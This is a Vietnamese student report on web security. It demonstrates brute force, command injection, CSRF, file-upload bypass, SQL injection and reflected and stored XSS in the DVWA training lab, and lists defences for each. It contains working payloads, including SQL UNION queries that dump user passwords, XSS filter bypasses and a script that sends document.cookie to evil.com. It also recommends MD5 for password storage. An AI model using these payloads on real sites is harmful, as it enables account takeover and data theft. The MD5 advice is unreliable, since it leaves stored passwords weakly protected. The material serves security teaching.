1.

Bảo mật website qua lỗ hổng Brute Force

1.1. Giới thiệu về lỗ hổng Brute Force
- Tấn công brute-force là một phương pháp bẻ khóa phổ biến. Một cuộc tấn công
brute-force liên quan đến việc 'đoán' tên người dùng và mật khẩu để truy cập
trái phép vào hệ thống, hacker sẽ sử dụng phương pháp thử và sai để cố gắng
đoán thông tin đăng nhập hợp lệ.
- Các cuộc tấn công này thường được tự động hóa bằng cách sử dụng danh sách
các từ gồm tên người dùng và mật khẩu thường được sử dụng để có thể đạt
được kết quả tốt nhất. Việc sử dụng các công cụ chuyên dụng có khả năng cho
phép hacker thực hiện đăng nhập 1 cách tự động nhiều lần với tốc độ cao.
1.2. Nguyên nhân
- Hình thức tấn công brute-force dễ phòng chống nhưng lại rất dễ gặp phải.
Nguyên nhân của kiểu tấn công này là do:
- Đặt mật khẩu không an toàn, dễ đoán ra, sử dụng phổ biến.
- Sử dụng mật khẩu liên quan đến bản thân có thể dễ lấy được trên các mạng xã
hội như: tên, ngày sinh.
- Từ phía sever, việc không giới hạn số lần nhập sai có thể tạo cơ hội cho hacker
có thể tấn công brute-force.
1.3. Công cụ khai thác và hướng dẫn cài đặt Burp Suite:
Để cài đặt Burp Suite, trước tiên, bạn cần tiến hành cài đặt môi trường
theo hai bước sau:
Bước 1: Tải và cài đặt java trước khi cài đặt Burp Suite.
Bước 2: Tải và cài đặt Burp Suite theo một trong hai phiên bản trả phí hoặc
miễn phí. Sau đó bạn có thể cài đặt chức năng proxy để sử dụng Burp Suite:
Bước 1: Cài đặt Proxy Chrome hoặc Firefox.
Bước 2: Thiết lập cấu hình cho Burp Suite bằng cách vào tab proxy, chọn
Option và thêm địa chỉ 127.0.0.1 Port: 8080.
Bước 3: Cài đặt thêm chứng chỉ cho Burp Suite theo đường dẫn http://burp để
bắt các request trên web.
 1.4. Tiến hành Demo
B1: Mở browser và đăng nhập với Username: Diem, Password: diem -> thông báo lỗi

B2: Burp Site sẽ load lịch sử khi ta thực hiện trên browser, tại “Proxy” tiến hành gửi
request “send to intruder”.
B3: Tiến hành crack username và password trên burp suite với “Attrack type: Cluster
bomb”.

Thêm các username dự đoán có khả năng là đúng tại “Payload set 1”:

- Thêm các password ở “Payload set 2”, dự đoán có khả năng là đúng:
 Tiến hành “Start attrack”

- Ta thấy có hai hàng 1 và 3, có số “Length” khác với các số còn lại. Mà username
và password đã crack trùng với dữ liệu trong database.
 1.5. Cách khắc phục
Việc khắc phục để tránh bị brute-force thì có thể làm theo cách sau:
- Không sử dụng thông tin liên quan đến bản thân mà có thể lấy được trên mạng như
tên, ngày sinh, vv...
- Có càng nhiều ký tự càng tốt: việc sử dụng từ 10 ký tự trở lên có thể khiến cho
việc brute-force tốn rất nhiều thời gian, thời gian có thể lên cả năm trời.
- Kết hợp các chữ cái, số và các ký hiệu đặc biệt.
- Tránh sử dụng những mật khẩu đơn giản như: 123456, password, admin ...
- Bên cạnh đó việc không sử dụng cùng 1 mật khẩu trên nhiều tài khoản khác nhau
có thể tránh tối đa hậu quả khi bị mất mật khẩu.

1.6. Áp dụng vào Đề tài

- Md5(mã hóa) password khi đăng kí, thêm tài khoản thành công
- Xây dựng password là: Tối thiểu tám ký tự, ít nhất một chữ cái, một số và một ký
tự đặc biệt:

2. Lỗ hổng Command Injection

- Command injection là một cyber_attack liên quan đến việc thực hiện các lệnh tùy
ý trên hệ điều hành của host (OS). Thông thường, hacker sẽ command injection
bằng cách khai thác lỗ hổng ứng dụng. Chẳng hạn như xác thực input của người
dùng không chặt chẽ.
2.1. Demo trên DWVN
- Với level = low, do không lọc đầu vào ta có thể dir được các file trong server.
  Ta có thể thêm file mới, xóa file … “127.0.0.1 && echo Ngoc Diem
>>newfile.txt”. Sau đó ta có thể thấy nội dung file là Ngoc Diem

- Với level = Medium, đã lọc đầu vào ta không thể dir được các file trong server.

Thử bằng | dir ta vẫn xem được thông tin

 - Với level = High, đã lọc đầu vào ta không thể dùng “&& dir” và “| dir” được các
file trong server. Nhưng chưa xác thực người dùng.
 Thử tấn công bằng Burp Site để bắt gói POST, sửa nó và gửi lại cho server để giả
mạo.

Gửi đến Repeater và sửa nó thêm | dir sau 127.0.0.1 và gửi đi

Tại Response, send response in browser và copy dán lên browser để xem kết quả

Ta vẫn có thể xem được thông tin trên server

- Tiếp tục tăng lên mức level = impossible, ta thấy server đã sửa để xác định gói tin
từ client.

3. Bảo mật website qua lỗ hổng CSRF

3.1. Giới thiệu
- Cross-Site Request Forgery (CSRF) là cách tấn công mà kẻ tấn công sử dụng một
trang web độc hại, email, blog, tin nhắn để dụ người dùng ấn vào những thành
phần ở trong trang web đó như các link, ảnh … rồi sau đó thực hiện một hành
động trên một trang web tin cậy mà người dùng hiện đang được chứng thực.
- Hành động:
Một ứng dụng web đơn giản đó là thay đổi password người dùng. Việc gửi lên server
theo phương thức HTTP GET thông thường. Nội dung gửi lên là password mới và
confirm lại password vừa nhập. Sau khi nhập và gửi lên server thì password người
dùng sẽ bị thay đổi trên hệ thống.
Một số kẻ ác ý kiểm tra thử xem ứng dụng này có mắc lỗi CSRF hay không bằng cách
thử thay đổi password thành password1: “https:// webtest1.com/vulnerabilities/csrf/?
password_new=password1&password_conf=password1&Change=Change#” vào
trình duyệt hiện tại (mà ko cần bấm nút Change).
Giả sử một kịch bản sau:
Người dùng user truy cập vào trang webtest1.com
Trong thời gian truy cập vào webtest1.com. Người dùng chưa logout khỏi web, và đi
thăm thú các trang web khác như facebook.com, vietnamlab.vn, vnexpress.net …. và
vào 1 trang web: webtest2.com
webtest2.com là một trang mà hacker (hoặc kẻ ác ý khác – muốn chôm mật khẩu tại
trang webtest1.com). Nội dung của webtest2.com có một URL được ẩn đi dạng:
https://webtest1.com/vulnerabilities/csrf/?
password_new=hacked&password_conf=hacked&Change=Change#
Victim (User) lúc này vào trang webtest2.com và vô tình đã thay đổi mật khẩu của
bản thân tại webtest1.com
 Victim(User) sau khi thoát ra khỏi web: Logout, thì không thể vào lại hệ thống với
mật khẩu cũ. Victim không thể biết là mình vừa mất mật khẩu thông qua thẻ <img
src=’URL_LINK’> hoặc <iframe src=’URL_LINK’>.
Nội dung web của hacker có thể là:

3.2. Demo tân công trên DVWA với công cụ Burp Site
B1: Tại DVWA, chọn mức level = low, và thay đổi mật khẩu với:
New password: diem2001, Confirm new password: diem2001

B2: Tại Burp Site -> Proxy, chuyển Intercept is on, thay đổi mật khẩu và xác nhận lại với
mật khẩu mới: boy@123
B3: Sau đó nhấn Forward để gửi yêu cầu đến server, nhấn Intercept is off để tắt
B4: Logout DVWA, login bằng mật khẩu ta yêu cầu trên Burp Site là: Boy@123 thành
công.
3.3. Cách Phòng chống
- Yêu cầu xác thực password hiện tại là gì. Khi đó cho dù gửi yêu cầu thay đổi
password như ví dụ trên được gửi cũng cần phải có password hiện tại. Chức năng
này cũng có rất nhiều trong facebook khi mà bạn thay đổi bất kỳ thông tin gì của
cá nhân sẽ có yêu cầu password hiện tại.
 Với trường hợp để cả password hiện tại thì Burp Site vẫn có thể thay đổi được.

- Dùng csrf_token: token này sẽ thay đổi liên tục trong phiên làm việc, và khi thay
đổi thông tin gửi kèm thông tin token này. Như vậy nếu token được sinh ra và
token được gửi lên ko trùng nhau thì loại bỏ request. Việc làm này sẽ chống được
100% có khi lên tới 1000% lỗ hổng csrf. csrf_token thường là bảng băm hash của
đầu vào random. Quá trình kiểm tra như sau:
B1: Start the session, generate a random token, and embed it into the HTML form
B2: When the form is submitted, cross-check the submitted token against the session

B3: Thực hiện thử trên Burp Site

- Khi xác nhận đổi mật khẩu thành công, tương đương với việc sẽ load
session[“token”] mới. Ta thấy token lúc gửi đi, khác hoàn toàn với khi xác nhận
thành công đổi mật khẩu.
  Vì vậy nếu ta thay đổi mật khẩu và gửi yêu cầu đi sẽ không thể. Với
“Diem@@23”

 Sẽ nhận được thông báo là mật khẩu cũ không đúng, vì đã thay đổi trước đó, với
token khác.

4. File Upload:
4.1. Giới thiệu:
a) Khái niệm:

Trong thực tế thì dạng tấn công thường gặp nhất là tấn công thông qua các đường
dẫn input mà chủ yếu là phần upload file của các trang web. Những hacker hay kẽ tấn
công rất thích khai thác loại tấn công này. Ví nếu như một mã độc (Upload sell) được
thuận lợi gửi lên máy chủ thì hacker có thể dễ dàng kiểm soát tất cả các người dùng
cuối của hệ thống, hacker sẽ có toàn quyền trên hệ thống.

b) Mức độ nguy hiểm:

Rủi ro bảo mật từ Upload file luôn là vấn đề được bảo mật kỷ càng nhất đối với
một website. Hacker thường tận dụng lỗ hổng bảo mật này để gửi các file độc hại, lỗ
sâu đến server. Thông qua lỗ sâu Hacker có thể truy vấn trực tiếp đến database và điều
này là cực kỳ nguy hiểm. Ở mức bình thường thì có thể sẽ bị lộ dữ liệu hoặc mất cắp
thông tin, ở mức độ nguy hiểm cao hơn, Hacker sẽ có toàn quyền điều khiển hệ thống
hoặc xóa hết tất cả hệ thống.

4.2. Hình thức tấn công:

a) Tìm kiếm lỗ hổng:

Hình thức tìm kiếm lỗ hổng của File upload khá dễ mô tả, Hacker sẽ tìm kiếm các
website có phần upload như các trang làm bài có đuôi edu, các trang bán hàng, trang
sản giao dịch, trang thay đổi ảnh cá nhân, hay thậm chí trang quản lí sản phẩm...

b) Thử nghiệm tấn công trên DVWA:

- Mức Level: Low

Mở giao diện DVWA, cho phép upload cả file .php và .png

- Mức level: Medium, chỉ cho phép file .png và .jpeg

View source:

 Thử trên Burp Site để upload file .php, thêm extention để vượt qua

Bỏ đuôi .png ở Burp: banchay.php và gửi yêu cầu đi

Kết quả: Vẫn có thể upload được file .php

 - Level: High, thử như ở level medium thì kết quả không nhận

4.2. Áp dụng vào Webstie với mức level là High

 5. Bảo mật website qua lỗ hổng SQL injection
5.1. Vượt qua đăng nhập
+) Nguyên nhân: không kiểm tra dữ liệu đầu vào (input) – vượt qua kiểm tra lúc đăng
nhập (Bypass Login)
- Dễ dàng vượt qua đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên
csdl. Tên đăng nhập, mật khẩu, field id, bằng ‘or 1=1-- -, ' or ''=', ‘ or ‘1
Thử trên DVWA với mức level low và high:
1. Lấy tên cơ sở dl trong dvwa
' UNION SELECT 1, database()—
2. Lấy các cột trong bảng users
- 'UNION SELECT table_name,column_name FROM
information_schema.columns where table_name='users'-- -

3. Lấy tên tải khoản và mật khẩu người dùng

- ‘union select user,password from users-- -

 Ta chỉ cần giải mã password để có được thông tin đăng nhập

- ở Level High ta vẫn có thể lấy thông tin
  Thử ở mức Medium:

Ta thấy ở mức này, chỉ cho phép người dùng lựa chọn id, có nghĩa trong source code, khi
input vào đã được lược bỏ kí tự đặc biệt.
 Test bên đề tài:

 Bị lộ thông tin tất cả khách hàng

+) Giải pháp cho website
- Sử dụng: áp dụng Medium SQL Injection với hàm “mysqli_real_escape_string
(string $unescaped_string, resource $link_identifier = NULL): string” để tạo một
chuỗi SQL hợp pháp mà bạn có thể sử dụng trong một câu lệnh SQL. Loại bỏ
những kí tự đặc biệt trong chuỗi cho việc sử dụng câu lệnh SQL. "
mysql_real_escape_string tính đến bộ ký tự hiện tại của kết nối (đó là lý do tại sao
bạn phải luôn chuyển một đối tượng $ mysqli hợp lệ).

4.2. Xem thông tin tất cả các sản phẩm

- Dễ dàng xem được tất cả các sản phẩm nhờ tìm kiếm với câu lệnh: ' or 1=1#
+) Giải pháp
Sử dụng: hàm “mysqli_real_escape_string (string $unescaped_string, resource
$link_identifier = NULL): string” để tạo một chuỗi SQL hợp pháp mà bạn có thể sử dụng
trong một câu lệnh SQL. Loại bỏ những kí tự đặc biệt trong chuỗi cho việc sử dụng câu
lệnh SQL.

- Kết quả:

6. Bảo mật bởi mã hóa đối xứng thông tin khách hàng (email và số điện thoại)
bằng Encript/Decript với duy nhất một khóa để tiến hành giải mã
- Nói qua về tại sao cần bảo mật: tránh để lộ thông tin khách hàng khi có thể bị
hack, thì đã được thiết lập bởi khóa.
- Khi Customer đăng kí thành công, sẽ mã hóa email và tel

- Được lưu vào cơ sở dữ liệu:

- Để xem thông tin khi khách hàng yêu cầu:

Với Decrypt để giải mã hóa

7. Bảo mật lỗ hổng XSS (Reflected)

7.1. Giới thiệu
- Cross-site Scripting (XSS) là kỹ thuật tấn công code injection ngay trên phía
client. Kẻ tấn công nhằm mục đích khai thác các lệnh độc hại trong trình duyệt
web của nạn nhân bằng cách đưa các đoạn mã độc vào trong các ứng dụng hoặc
trình duyệt web. Cuộc tấn công XSS chỉ thực sự diễn ra khi nạn nhân truy cập vào
trang web hoặc ứng dụng thực thi các đoạn mã độc. Trang web hoặc ứng dụng
web sẽ trở thành phương tiện giúp kẻ tấn công phân phối mã độc tới trình duyệt
web người dùng. Các phương tiện dính lỗ hổng bảo mật thường là các forum,
trang thông báo và các trang web cho phép bình luận.
 7.2. Phương thức tấn công chủ yếu
- Đánh cắp cookies bằng cách sử dụng XSS: Tội phạm công nghệ cao thường sử
dụng XSS để đánh cắp cookies. Nó cho phép kẻ tấn công mạo danh nạn nhân trên
website họ truy cập. Kẻ tấn công có thể gửi cookie tới các máy chủ của họ theo
nhiều cách khác nhau. Một trong số đó là thực thi những đoạn script phía client
như sau:
<script>window.location="http://evil.com/?cookie=" + document.cookie</script>
<script>alert(document.cookie)</script>
7.3. Demo trên DVWA
- Với Level: Low. Enter đoạn script trên vô, ta sẽ thấy được thông tin cookie

- Với Level: Medium, thì mã độc đã bị lọc với <script>

Thử với đoạn sau:

<sc<script>ript>alert(document.cookie)</sc<script>ript>
  Như vậy vẫn ra được kết quả.
- Thử với level = high

Nó chỉ nhận kí tự >.

- Thử mức Impossible

Với hàm:  $name = htmlspecialchars ($_GET ['name']); chuyển đổi các phần tử

HTML, mã script thành các ký tự.
7.4. Khắc phục
7.4.1. Bằng cách đặt chính sách bảo mật nội dung trong tiêu đề phản hồi, bạn có thể
yêu cầu trình duyệt không bao giờ thực thi JavaScript nội tuyến và khóa những
miền nào có thể lưu trữ JavaScript cho một trang: By listing the URIs from
which scripts can be loaded, you are implicitly stating that inline JavaScript is
not allowed.
Chính sách bảo mật nội dung cũng có thể được đặt trong thẻ <meta> trong phần tử
<head> của trang:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
https://apis.google.com">

Hoặc chạy về phía server tại header

<header http-equiv="Content-Security-Policy" content="script-src 'self'
https://apis.google.com"> </header>

7.4.2. Với cookie hacker có thể khai thác được qua các hình thức lỗ hổng CSRF hoặc
XSS để chiếm đoạt cookies của người sử dụng. Do vậy chúng ta cần thêm Flag
HTTP Only để thực hiện bổ sung bảo mật cho hệ thống ứng dụng và máy chủ
web.
Flag HTTP Only: Cookie có flag này sẽ không thể truy cập thông qua hàm
document.cookie. Do đó, dù web có bị lỗi XSS thì hacker không thể đánh cắp được nó.
Được thêm trước khi khởi tạo 1 phiên session. Cân nhắc đánh dấu cookie là chỉ HTTP,
nghĩa là trình duyệt sẽ nhận, lưu trữ và gửi cookie nhưng JavaScript không thể sửa đổi
hoặc đọc.

7.4.3. Kiểm tra đầu vào khi đăng kí và đăng nhập

- Đăng kí tài khoản với:
username: <script>location.href="https://google.com"</script>

- Khi đăng nhập thì chắc chắn sẽ chuyển qua trang google.com

 Hoặc lấy cookie

 Để khắc phục: cùng kết hợp với sql injection lúc đăng nhập với phương pháp bên
DVWA mức level: impossible
Kết quả: Tên username chính là đoạn mã script không được thực thi

8. Bảo mật lỗ hổng Stored XSS

8.1. Giới thiệu
Stored XSS là lỗ hổng cross-site scripting phát sinh bất cứ khi nào một ứng dụng
web lưu trữ dữ liệu do người dùng cung cấp để sử dụng sau này trong phần phụ trợ
mà không thực hiện bất kỳ bộ lọc hoặc vệ sinh đầu vào nào. Vì ứng dụng web không
áp dụng bất kỳ bộ lọc nào nên kẻ tấn công có thể tiêm một số mã độc vào trường nhập
liệu này. Mã độc này cũng có thể là một tải trọng XSS hợp lệ. Vì vậy, bất cứ khi nào
bất kỳ người nào truy cập trang dễ bị tổn thương nơi mã độc được tiêm vào, anh ta sẽ
nhận được một cửa sổ bật lên trên cửa sổ trình duyệt của mình. Điều này sẽ chứng
minh rằng trang web nhất định dễ bị tổn thương bởi lỗ hổng Stored XSS.
Website thương mại điện tử của nhóm, XSS được lưu trữ thường thấy nhất trong:

- Diễn đàn hoặc Bảng tin. Blog bình luận của bất kỳ bài viết
- Trang Hồ sơ Người dùng: ứng dụng cho phép người dùng chỉnh sửa/thay đổi các
chi tiết hồ sơ như họ, tên, biệt hiệu, ảnh đại diện, ảnh, địa chỉ, v.v.
- Trình quản lý tệp: ứng dụng cho phép tải tệp lên
- Nhật ký: nếu ứng dụng lưu trữ thông tin nhập của một số người dùng vào nhật ký.

8.2. Phương thức tấn công

B1: Demo trên DVWA với level: low
Massages:<script>alert()</script>

 Như vậy bất cứ khi nào ta vô phần XXS stored, thì sẽ đều có thông báo kia hiện
lên, vì trang nó xuất thông tin của bảng.
B2: Ở mức level: medium, tên thì được kí tự thay thế mã script (bị loại bỏ), message thì
được chuyển các phần tử mã script thành các kí tự.

By pass: inpsect website để kiểm tra, thay đổi maxlength từ 10 thành 100, ấn enter

 Kêt quả: vẫn chạy được mã script

B3: Ở mức level: high, tên thì được loại bỏ các tự bên dưới, message thì được chuyển các
phần tử mã script thành các kí tự.

By pass: Vẫn inpsect chuyển đổi maxlength từ 10 thành 100, ấn enter

- Ta sử dụng <svg/onload= alert ()>. Nó sẽ không bị khóa bỏ bởi hàm
preg_replace() function.

B4: ở mức impossible, tất cả đều bị khóa, và các phần từ đều thành kí tự

8.3. Phòng tránh áp dụng vào website đề tài

8.3.1. Demo lỗi trên đề tài
Ta thấy fullname đã được update

 Như vậy mỗi lần truy cập vào profile thì sẽ hiện thông báo:

 Khắc phục ta dùng Impossible Stored XSS Source:

- Vì email và phone bị mã hóa trước đó, khi xuất thông tin đã được giải mã. Khi
update thành công, nhưng xuất thông tin sẽ bị giải mã đó.
- Ta chỉ cần bảo mật trường “fullname” và “diachi”
 Tên và địa chỉ khách hàng được lấy theo đúng kí tự của các phần tử mã “script”